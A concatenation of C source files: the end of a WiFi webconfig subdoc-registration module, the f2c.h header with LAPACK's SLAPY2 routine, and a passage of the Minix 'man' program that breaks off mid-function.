retval = PSM_Set_Record_Value2(bus_handle,g_Subsystem, buf, ccsp_string, subdoc_ver);
if (retval == CCSP_SUCCESS) {
CcspTraceInfo(("%s: Wifi Blob version applied to PSM DB Successfully\n", __FUNCTION__));
return RETURN_OK;
} else {
CcspTraceError(("%s: Failed to apply blob version to PSM DB\n", __FUNCTION__));
return RETURN_ERR;
}
}
/**
* API to register Multicomponent supported subdocs with framework
*
* returns 0 on success, error otherwise
*
*/
int register_multicomp_subdocs()
{
multiCompSubDocReg *subdoc_data = NULL;
char *subdocs[MULTISUBDOC_COUNT+1]= {"hotspot", (char *) 0 };
uint8_t i;
int ret;
subdoc_data = (multiCompSubDocReg *) malloc(MULTISUBDOC_COUNT * sizeof(multiCompSubDocReg));
if (subdoc_data == NULL) {
CcspTraceError(("%s: Failed to alloc memory for registering multisubdocs\n",__FUNCTION__));
return RETURN_ERR;
}
memset(subdoc_data, 0 , MULTISUBDOC_COUNT * sizeof(multiCompSubDocReg));
for(i = 0; i < MULTISUBDOC_COUNT; i++) {
strncpy(subdoc_data->multi_comp_subdoc, subdocs[i], sizeof(subdoc_data->multi_comp_subdoc)-1);
subdoc_data->executeBlobRequest = wifi_multicomp_subdoc_handler;
subdoc_data->calcTimeout = wifi_vap_cfg_timeout_handler;
subdoc_data->rollbackFunc = wifi_vap_cfg_rollback_handler;
}
register_MultiComp_subdoc_handler(subdoc_data, MULTISUBDOC_COUNT);
/* Register ccsp event to receive GRE Tunnel UP/DOWN */
ret = CcspBaseIf_Register_Event(bus_handle,NULL,"TunnelStatus");
if (ret != CCSP_SUCCESS) {
CcspTraceError(("%s Failed to register for tunnel status notification event",__FUNCTION__));
return ret;
}
CcspBaseIf_SetCallback2(bus_handle, "TunnelStatus", Tunnel_event_callback, NULL);
return RETURN_OK;
}
/**
* API to register all the supported subdocs , versionGet
* and versionSet are callback functions to get and set
* the subdoc versions in db
*
* returns 0 on success, error otherwise
*/
int init_web_config()
{
char *sub_docs[SUBDOC_COUNT+1]= {"privatessid","homessid","wifiVapData",(char *) 0 };
blobRegInfo *blobData = NULL,*blobDataPointer = NULL;
int i;
blobData = (blobRegInfo*) malloc(SUBDOC_COUNT * sizeof(blobRegInfo));
if (blobData == NULL) {
CcspTraceError(("%s: Malloc error\n",__FUNCTION__));
return RETURN_ERR;
}
memset(blobData, 0, SUBDOC_COUNT * sizeof(blobRegInfo));
blobDataPointer = blobData;
for (i=0 ;i < SUBDOC_COUNT; i++)
{
strncpy(blobDataPointer->subdoc_name, sub_docs[i], sizeof(blobDataPointer->subdoc_name)-1);
blobDataPointer++;
}
blobDataPointer = blobData;
getVersion versionGet = getWiFiBlobVersion;
setVersion versionSet = setWiFiBlobVersion;
register_sub_docs(blobData,SUBDOC_COUNT,versionGet,versionSet);
if (register_multicomp_subdocs() != RETURN_OK) {
CcspTraceError(("%s: Failed to register multicomp subdocs with framework\n",__FUNCTION__));
return RETURN_ERR;
}
return RETURN_OK;
}
#endif
|
the_stack_data/57949610.c
|
/* f2c.h -- Standard Fortran to C header file */
/** barf [ba:rf] 2. "He suggested using FORTRAN, and everybody barfed."
- From The Shogakukan DICTIONARY OF NEW ENGLISH (Second edition) */
#ifndef F2C_INCLUDE
#define F2C_INCLUDE
#include <math.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <complex.h>
#ifdef complex
#undef complex
#endif
#ifdef I
#undef I
#endif
#if defined(_WIN64)
typedef long long BLASLONG;
typedef unsigned long long BLASULONG;
#else
typedef long BLASLONG;
typedef unsigned long BLASULONG;
#endif
#ifdef LAPACK_ILP64
typedef BLASLONG blasint;
#if defined(_WIN64)
#define blasabs(x) llabs(x)
#else
#define blasabs(x) labs(x)
#endif
#else
typedef int blasint;
#define blasabs(x) abs(x)
#endif
typedef blasint integer;
typedef unsigned int uinteger;
typedef char *address;
typedef short int shortint;
typedef float real;
typedef double doublereal;
typedef struct { real r, i; } complex;
typedef struct { doublereal r, i; } doublecomplex;
static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;}
static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;}
#define pCf(z) (*_pCf(z))
#define pCd(z) (*_pCd(z))
typedef int logical;
typedef short int shortlogical;
typedef char logical1;
typedef char integer1;
#define TRUE_ (1)
#define FALSE_ (0)
/* Extern is for use with -E */
#ifndef Extern
#define Extern extern
#endif
/* I/O stuff */
typedef int flag;
typedef int ftnlen;
typedef int ftnint;
/*external read, write*/
typedef struct
{ flag cierr;
ftnint ciunit;
flag ciend;
char *cifmt;
ftnint cirec;
} cilist;
/*internal read, write*/
typedef struct
{ flag icierr;
char *iciunit;
flag iciend;
char *icifmt;
ftnint icirlen;
ftnint icirnum;
} icilist;
/*open*/
typedef struct
{ flag oerr;
ftnint ounit;
char *ofnm;
ftnlen ofnmlen;
char *osta;
char *oacc;
char *ofm;
ftnint orl;
char *oblnk;
} olist;
/*close*/
typedef struct
{ flag cerr;
ftnint cunit;
char *csta;
} cllist;
/*rewind, backspace, endfile*/
typedef struct
{ flag aerr;
ftnint aunit;
} alist;
/* inquire */
typedef struct
{ flag inerr;
ftnint inunit;
char *infile;
ftnlen infilen;
ftnint *inex; /*parameters in standard's order*/
ftnint *inopen;
ftnint *innum;
ftnint *innamed;
char *inname;
ftnlen innamlen;
char *inacc;
ftnlen inacclen;
char *inseq;
ftnlen inseqlen;
char *indir;
ftnlen indirlen;
char *infmt;
ftnlen infmtlen;
char *inform;
ftnint informlen;
char *inunf;
ftnlen inunflen;
ftnint *inrecl;
ftnint *innrec;
char *inblank;
ftnlen inblanklen;
} inlist;
#define VOID void
union Multitype { /* for multiple entry points */
integer1 g;
shortint h;
integer i;
/* longint j; */
real r;
doublereal d;
complex c;
doublecomplex z;
};
typedef union Multitype Multitype;
struct Vardesc { /* for Namelist */
char *name;
char *addr;
ftnlen *dims;
int type;
};
typedef struct Vardesc Vardesc;
struct Namelist {
char *name;
Vardesc **vars;
int nvars;
};
typedef struct Namelist Namelist;
#define abs(x) ((x) >= 0 ? (x) : -(x))
#define dabs(x) (fabs(x))
#define f2cmin(a,b) ((a) <= (b) ? (a) : (b))
#define f2cmax(a,b) ((a) >= (b) ? (a) : (b))
#define dmin(a,b) (f2cmin(a,b))
#define dmax(a,b) (f2cmax(a,b))
#define bit_test(a,b) ((a) >> (b) & 1)
#define bit_clear(a,b) ((a) & ~((uinteger)1 << (b)))
#define bit_set(a,b) ((a) | ((uinteger)1 << (b)))
#define abort_() { sig_die("Fortran abort routine called", 1); }
#define c_abs(z) (cabsf(Cf(z)))
#define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); }
#define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);}
#define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);}
#define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));}
#define c_log(R, Z) {pCf(R) = clogf(Cf(Z));}
#define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));}
//#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));}
#define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));}
#define d_abs(x) (fabs(*(x)))
#define d_acos(x) (acos(*(x)))
#define d_asin(x) (asin(*(x)))
#define d_atan(x) (atan(*(x)))
#define d_atn2(x, y) (atan2(*(x),*(y)))
#define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); }
#define r_cnjg(R, Z) { pCf(R) = conj(Cf(Z)); }
#define d_cos(x) (cos(*(x)))
#define d_cosh(x) (cosh(*(x)))
#define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 )
#define d_exp(x) (exp(*(x)))
#define d_imag(z) (cimag(Cd(z)))
#define r_imag(z) (cimag(Cf(z)))
#define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define d_log(x) (log(*(x)))
#define d_mod(x, y) (fmod(*(x), *(y)))
#define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x)))
#define d_nint(x) u_nint(*(x))
#define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a)))
#define d_sign(a,b) u_sign(*(a),*(b))
#define r_sign(a,b) u_sign(*(a),*(b))
#define d_sin(x) (sin(*(x)))
#define d_sinh(x) (sinh(*(x)))
#define d_sqrt(x) (sqrt(*(x)))
#define d_tan(x) (tan(*(x)))
#define d_tanh(x) (tanh(*(x)))
#define i_abs(x) abs(*(x))
#define i_dnnt(x) ((integer)u_nint(*(x)))
#define i_len(s, n) (n)
#define i_nint(x) ((integer)u_nint(*(x)))
#define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b)))
#define pow_dd(ap, bp) ( pow(*(ap), *(bp)))
#define pow_si(B,E) spow_ui(*(B),*(E))
#define pow_ri(B,E) spow_ui(*(B),*(E))
#define pow_di(B,E) dpow_ui(*(B),*(E))
#define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));}
#define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));}
#define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));}
#define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; }
#define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d))))
#define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; }
#define sig_die(s, kill) { exit(1); }
#define s_stop(s, n) {exit(0);}
static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n";
#define z_abs(z) (cabs(Cd(z)))
#define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));}
#define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));}
#define myexit_() break;
#define mycycle() continue;
#define myceiling(w) {ceil(w)}
#define myhuge(w) {HUGE_VAL}
//#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);}
#define mymaxloc(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)}
/* procedure parameter types for -A and -C++ */
#define F2C_proc_par_types 1
#ifdef __cplusplus
typedef logical (*L_fp)(...);
#else
typedef logical (*L_fp)();
#endif
static float spow_ui(float x, integer n) {
float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static double dpow_ui(double x, integer n) {
double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static _Complex float cpow_ui(_Complex float x, integer n) {
_Complex float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static _Complex double zpow_ui(_Complex double x, integer n) {
_Complex double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer pow_ii(integer x, integer n) {
integer pow; unsigned long int u;
if (n <= 0) {
if (n == 0 || x == 1) pow = 1;
else if (x != -1) pow = x == 0 ? 1/x : 0;
else n = -n;
}
if ((n > 0) || !(n == 0 || x == 1 || x != -1)) {
u = n;
for(pow = 1; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer dmaxloc_(double *w, integer s, integer e, integer *n)
{
double m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static integer smaxloc_(float *w, integer s, integer e, integer *n)
{
float m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i])) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i])) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i]) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i]) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
/* -- translated by f2c (version 20000121).
You must link the resulting object file with the libraries:
-lf2c -lm (in that order)
*/
/* > \brief \b SLAPY2 returns sqrt(x2+y2). */
/* =========== DOCUMENTATION =========== */
/* Online html documentation available at */
/* http://www.netlib.org/lapack/explore-html/ */
/* > \htmlonly */
/* > Download SLAPY2 + dependencies */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.tgz?format=tgz&filename=/lapack/lapack_routine/slapy2.
f"> */
/* > [TGZ]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.zip?format=zip&filename=/lapack/lapack_routine/slapy2.
f"> */
/* > [ZIP]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.txt?format=txt&filename=/lapack/lapack_routine/slapy2.
f"> */
/* > [TXT]</a> */
/* > \endhtmlonly */
/* Definition: */
/* =========== */
/* REAL FUNCTION SLAPY2( X, Y ) */
/* REAL X, Y */
/* > \par Purpose: */
/* ============= */
/* > */
/* > \verbatim */
/* > */
/* > SLAPY2 returns sqrt(x**2+y**2), taking care not to cause unnecessary */
/* > overflow. */
/* > \endverbatim */
/* Arguments: */
/* ========== */
/* > \param[in] X */
/* > \verbatim */
/* > X is REAL */
/* > \endverbatim */
/* > */
/* > \param[in] Y */
/* > \verbatim */
/* > Y is REAL */
/* > X and Y specify the values x and y. */
/* > \endverbatim */
/* Authors: */
/* ======== */
/* > \author Univ. of Tennessee */
/* > \author Univ. of California Berkeley */
/* > \author Univ. of Colorado Denver */
/* > \author NAG Ltd. */
/* > \date June 2017 */
/* > \ingroup OTHERauxiliary */
/* ===================================================================== */
real slapy2_(real *x, real *y)
{
/* System generated locals */
real ret_val, r__1;
/* Local variables */
real xabs, yabs;
logical x_is_nan__, y_is_nan__;
real w, z__;
extern logical sisnan_(real *);
/* -- LAPACK auxiliary routine (version 3.7.1) -- */
/* -- LAPACK is a software package provided by Univ. of Tennessee, -- */
/* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */
/* June 2017 */
/* ===================================================================== */
x_is_nan__ = sisnan_(x);
y_is_nan__ = sisnan_(y);
if (x_is_nan__) {
ret_val = *x;
}
if (y_is_nan__) {
ret_val = *y;
}
if (! (x_is_nan__ || y_is_nan__)) {
xabs = abs(*x);
yabs = abs(*y);
w = f2cmax(xabs,yabs);
z__ = f2cmin(xabs,yabs);
if (z__ == 0.f) {
ret_val = w;
} else {
/* Computing 2nd power */
r__1 = z__ / w;
ret_val = w * sqrt(r__1 * r__1 + 1.f);
}
}
return ret_val;
/* End of SLAPY2 */
} /* slapy2_ */
|
the_stack_data/879413.c
|
/* man 2.5 - display online manual pages Author: Kees J. Bot
* 17 Mar 1993
*/
#define nil NULL
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <dirent.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <stdarg.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/stat.h>
#include <sys/wait.h>
/* Defaults: */
char MANPATH[]= "/usr/local/man:/usr/man:/usr/gnu/man";
char PAGER[]= "more";
/* Comment at the start to let tbl(1) be run before n/troff. */
char TBL_MAGIC[] = ".\\\"t\n";
#define arraysize(a) (sizeof(a) / sizeof((a)[0]))
#define arraylimit(a) ((a) + arraysize(a))
#define between(a, c, z) ((unsigned) ((c) - (a)) <= (unsigned) ((z) - (a)))
/* Section 1x uses special macros under Minix. */
#if __minix
#define SEC1xSPECIAL 1
#else
#define SEC1xSPECIAL 0
#endif
int searchwhatis(FILE *wf, char *title, char **ppage, char **psection)
/* Search a whatis file for the next occurence of "title". Return the basename
* of the page to read and the section it is in. Return 0 on failure, 1 on
* success, -1 on EOF or error.
*/
{
static char page[256], section[32];
char alias[256];
int found= 0;
int c;
/* Each whatis line should have the format:
* page, title, title (section) - descriptive text
*/
/* Search the file for a line with the title. */
do {
int first= 1;
char *pc= section;
c= fgetc(wf);
/* Search the line for the title. */
do {
char *pa= alias;
while (c == ' ' || c == '\t' || c == ',') c= fgetc(wf);
while (c != ' ' && c != '\t' && c != ','
&& c != '(' && c != '\n' && c != EOF
) {
if (pa < arraylimit(alias)-1) *pa++= c;
c= getc(wf);
}
*pa= 0;
if (first) { strcpy(page, alias); first= 0; }
if (strcmp(alias, title) == 0) found= 1;
} while (c != '(' && c != '\n' && c != EOF);
if (c != '(') {
found= 0;
} else {
while ((c= fgetc(wf)) != ')' && c != '\n' && c != EOF) {
if ('A' <= c && c <= 'Z') c= c - 'A' + 'a';
if (pc < arraylimit(section)-1) *pc++= c;
}
*pc= 0;
if (c != ')' || pc == section) found= 0;
}
while (c != EOF && c != '\n') c= getc(wf);
} while (!found && c != EOF);
if (found) {
*ppage= page;
*psection= section;
}
return c == EOF ? -1 : found;
}
int searchwindex(FILE *wf, char *title, char **ppage, char **psection)
/* Search a windex file for the next occurence of "title". Return the basename
* of the page to read and the section it is in. Return 0 on failure, 1 on
* success, -1 on EOF or error.
*/
{
static char page[256], section[32];
static long low, high;
long mid0, mid1;
int c;
unsigned char *pt;
char *pc;
/* Each windex line should have the format:
* title page (section) - descriptive text
* The file is sorted.
*/
if (ftell(wf) == 0) {
/* First read of this file, initialize. */
low= 0;
fseek(wf, (off_t) 0, SEEK_END);
high= ftell(wf);
}
/* Binary search for the title. */
while (low <= high) {
pt= (unsigned char *) title;
mid0= mid1= (low + high) >> 1;
if (mid0 == 0) {
if (fseek(wf, (off_t) 0, SEEK_SET) != 0)
return -1;
} else {
if (fseek(wf, (off_t) mid0 - 1, SEEK_SET) != 0)
return -1;
/* Find the start of a line. */
while ((c= getc(wf)) != EOF && c != '\n')
mid1++;
if (ferror(wf)) return -1;
}
/* See if the line has the title we seek. */
for (;;) {
if ((c= getc(wf)) == ' ' || c == '\t') c= 0;
if (c == 0 || c != *pt) break;
pt++;
}
/* Halve the search range. */
if (c == EOF || *pt <= c) {
high= mid0 - 1;
} else {
low= mid1 + 1;
}
}
/* Look for the title from 'low' onwards. */
if (fseek(wf, (off_t) low, SEEK_SET) != 0)
return -1;
do {
if (low != 0) {
/* Find the start of a line. */
while ((c= getc(wf)) != EOF && c != '\n')
low++;
if (ferror(wf)) return -1;
}
/* See if the line has the title we seek. */
pt= (unsigned char *) title;
for (;;) {
if ((c= getc(wf)) == EOF) return 0;
low++;
if (c == ' ' || c == '\t') c= 0;
if (c == 0 || c != *pt) break;
pt++;
}
} while (c < *pt);
if (*pt != c) return 0; /* Not found. */
/* Get page and section. */
while ((c= fgetc(wf)) == ' ' || c == '\t') {}
pc= page;
while (c != ' ' && c != '\t' && c != '(' && c != '\n' && c != EOF) {
if (pc < arraylimit(page)-1) *pc++= c;
c= getc(wf);
}
if (pc == page) return 0;
*pc= 0;
while (c == ' ' || c == '\t') c= fgetc(wf);
if (c != '(') return 0;
pc= section;
while ((c= fgetc(wf)) != ')' && c != '\n' && c != EOF) {
if ('A' <= c && c <= 'Z') c= c - 'A' + 'a';
if (pc < arraylimit(section)-1) *pc++= c;
}
*pc= 0;
if (c != ')' || pc == section) return 0;
while (c != EOF && c != '\n') c= getc(wf);
if (c != '\n') return 0;
*ppage= page;
*psection= section;
return 1;
}
char ALL[]= ""; /* Magic sequence of all sections. */
int all= 0; /* Show all pages with a given title. */
int whatis= 0; /* man -f word == whatis word. */
int apropos= 0; /* man -k word == apropos word. */
int quiet= 0; /* man -q == quietly check. */
enum ROFF { NROFF, TROFF } rofftype= NROFF;
char *roff[] = { "nroff", "troff" };
int shown; /* True if something has been shown. */
int tty; /* True if displaying on a terminal. */
char *manpath; /* The manual directory path. */
char *pager; /* The pager to use. */
char *pipeline[8][8]; /* An 8 command pipeline of 7 arguments each. */
char *(*plast)[8] = pipeline;
void putinline(char *arg1, ...)
/* Add a command to the pipeline. */
{
va_list ap;
char **argv;
argv= *plast++;
*argv++= arg1;
va_start(ap, arg1);
while ((*argv++= va_arg(ap, char *)) != nil) {}
va_end(ap);
}
void execute(int set_mp, char *file)
/* Execute the pipeline build with putinline(). (This is a lot of work to
* avoid a call to system(), but it so much fun to do it right!)
*/
{
char *(*plp)[8], **argv;
char *mp;
int fd0, pfd[2], err[2];
pid_t pid;
int r, status;
int last;
void (*isav)(int sig), (*qsav)(int sig), (*tsav)(int sig);
if (tty) {
/* Must run this through a pager. */
putinline(pager, (char *) nil);
}
if (plast == pipeline) {
/* No commands at all? */
putinline("cat", (char *) nil);
}
/* Add the file as argument to the first command. */
argv= pipeline[0];
while (*argv != nil) argv++;
*argv++= file;
*argv= nil;
/* Start the commands. */
fd0= 0;
for (plp= pipeline; plp < plast; plp++) {
argv= *plp;
last= (plp+1 == plast);
/* Create an error pipe and pipe between this command and the next. */
if (pipe(err) < 0 || (!last && pipe(pfd) < 0)) {
fprintf(stderr, "man: can't create a pipe: %s\n", strerror(errno));
exit(1);
}
(void) fcntl(err[1], F_SETFD, fcntl(err[1], F_GETFD) | FD_CLOEXEC);
if ((pid = fork()) < 0) {
fprintf(stderr, "man: cannot fork: %s\n", strerror(errno));
exit(1);
}
if (pid == 0) {
/* Child. */
if (set_mp) {
mp= malloc((8 + strlen(manpath) + 1) * sizeof(*mp));
if (mp != nil) {
strcpy(mp, "MANPATH=");
strcat(mp, manpath);
(void) putenv(mp);
}
}
if (fd0 != 0) {
dup2(fd0, 0);
close(fd0);
}
if (!last) {
close(pfd[0]);
if (pfd[1] != 1) {
dup2(pfd[1], 1);
close(pfd[1]);
}
}
close(err[0]);
execvp(argv[0], argv);
(void) write(err[1], &errno, sizeof(errno));
_exit(1);
}
close(err[1]);
if (read(err[0], &errno, sizeof(errno)) != 0) {
fprintf(stderr, "man: %s: %s\n", argv[0],
strerror(errno));
exit(1);
}
close(err[0]);
if (!last) {
close(pfd[1]);
fd0= pfd[0];
}
set_mp= 0;
}
/* Wait for the last command to finish. */
isav= signal(SIGINT, SIG_IGN);
qsav= signal(SIGQUIT, SIG_IGN);
tsav= signal(SIGTERM, SIG_IGN);
while ((r= wait(&status)) != pid) {
if (r < 0) {
fprintf(stderr, "man: wait(): %s\n", strerror(errno));
exit(1);
}
}
(void) signal(SIGINT, isav);
(void) signal(SIGQUIT, qsav);
(void) signal(SIGTERM, tsav);
if (status != 0) exit(1);
plast= pipeline;
}
void keyword(char *keyword)
/* Make an apropos(1) or whatis(1) call. */
{
putinline(apropos ? "apropos" : "whatis",
all ? "-a" : (char *) nil,
(char *) nil);
if (tty) {
printf("Looking for keyword '%s'\n", keyword);
fflush(stdout);
}
execute(1, keyword);
}
enum pagetype { CAT, CATZ, MAN, MANZ, SMAN, SMANZ };
int showpage(char *page, enum pagetype ptype, char *macros)
/* Show a manual page if it exists using the proper decompression and
* formatting tools.
*/
{
struct stat st;
/* We want a normal file without X bits if not a full path. */
if (stat(page, &st) < 0) return 0;
if (!S_ISREG(st.st_mode)) return 0;
if ((st.st_mode & 0111) && page[0] != '/') return 0;
/* Do we only care if it exists? */
if (quiet) { shown= 1; return 1; }
if (ptype == CATZ || ptype == MANZ || ptype == SMANZ) {
putinline("zcat", (char *) nil);
}
if (ptype == SMAN || ptype == SMANZ) {
/* Change SGML into regular *roff. */
putinline("/usr/lib/sgml/sgml2roff", (char *) nil);
putinline("tbl", (char *) nil);
putinline("eqn", (char *) nil);
}
if (ptype == MAN) {
/* Do we need tbl? */
FILE *fp;
int c;
char *tp = TBL_MAGIC;
if ((fp = fopen(page, "r")) == nil) {
fprintf(stderr, "man: %s: %s\n", page, strerror(errno));
exit(1);
}
c= fgetc(fp);
for (;;) {
if (c == *tp || (c == '\'' && *tp == '.')) {
if (*++tp == 0) {
/* A match, add tbl. */
putinline("tbl", (char *) nil);
break;
}
} else {
/* No match. */
break;
}
while ((c = fgetc(fp)) == ' ' || c == '\t') {}
}
fclose(fp);
}
if (ptype == MAN || ptype == MANZ || ptype == SMAN || ptype == SMANZ) {
putinline(roff[rofftype], macros, (char *) nil);
}
if (tty) {
printf("%s %s\n",
ptype == CAT || ptype == CATZ ? "Showing" : "Formatting", page);
fflush(stdout);
}
execute(0, page);
shown= 1;
return 1;
}
int member(char *word, char *list)
/* True if word is a member of a comma separated list. */
{
size_t len= strlen(word);
if (list == ALL) return 1;
while (*list != 0) {
if (strncmp(word, list, len) == 0
&& (list[len] == 0 || list[len] == ','))
return 1;
while (*list != 0 && *list != ',') list++;
if (*list == ',') list++;
}
return 0;
}
int trymandir(char *mandir, char *title, char *section)
/* Search the whatis file of the manual directory for a page of the given
* section and display it.
*/
{
FILE *wf;
char whatis[1024], pagename[1024], *wpage, *wsection;
int rsw, rsp;
int ntries;
int (*searchidx)(FILE *, char *, char **, char **);
struct searchnames {
enum pagetype ptype;
char *pathfmt;
} *sp;
static struct searchnames searchN[] = {
{ CAT, "%s/cat%s/%s.%s" }, /* SysV */
{ CATZ, "%s/cat%s/%s.%s.Z" },
{ MAN, "%s/man%s/%s.%s" },
{ MANZ, "%s/man%s/%s.%s.Z" },
{ SMAN, "%s/sman%s/%s.%s" }, /* Solaris */
{ SMANZ,"%s/sman%s/%s.%s.Z" },
{ CAT, "%s/cat%.1s/%s.%s" }, /* BSD */
{ CATZ, "%s/cat%.1s/%s.%s.Z" },
{ MAN, "%s/man%.1s/%s.%s" },
{ MANZ, "%s/man%.1s/%s.%s.Z" },
};
if (strlen(mandir) + 1 + 6 + 1 > arraysize(whatis)) return 0;
/* Prefer a fast windex database if available. */
sprintf(whatis, "%s/windex", mandir);
if ((wf= fopen(whatis, "r")) != nil) {
searchidx= searchwindex;
} else {
/* Use a classic whatis database. */
sprintf(whatis, "%s/whatis", mandir);
if ((wf= fopen(whatis, "r")) == nil) return 0;
searchidx= searchwhatis;
}
rsp= 0;
while (!rsp && (rsw= (*searchidx)(wf, title, &wpage, &wsection)) == 1) {
if (!member(wsection, section)) continue;
/* When looking for getc(1S) we try:
* cat1s/getc.1s
* cat1s/getc.1s.Z
* man1s/getc.1s
* man1s/getc.1s.Z
* sman1s/getc.1s
* sman1s/getc.1s.Z
* cat1/getc.1s
* cat1/getc.1s.Z
* man1/getc.1s
* man1/getc.1s.Z
*/
if (strlen(mandir) + 2 * strlen(wsection) + strlen(wpage)
+ 10 > arraysize(pagename))
continue;
sp= searchN;
ntries= arraysize(searchN);
do {
if (sp->ptype <= CATZ && rofftype != NROFF)
continue;
sprintf(pagename, sp->pathfmt,
mandir, wsection, wpage, wsection);
rsp= showpage(pagename, sp->ptype,
(SEC1xSPECIAL && strcmp(wsection, "1x") == 0) ? "-mnx" : "-man");
} while (sp++, !rsp && --ntries != 0);
if (all) rsp= 0;
}
if (rsw < 0 && ferror(wf)) {
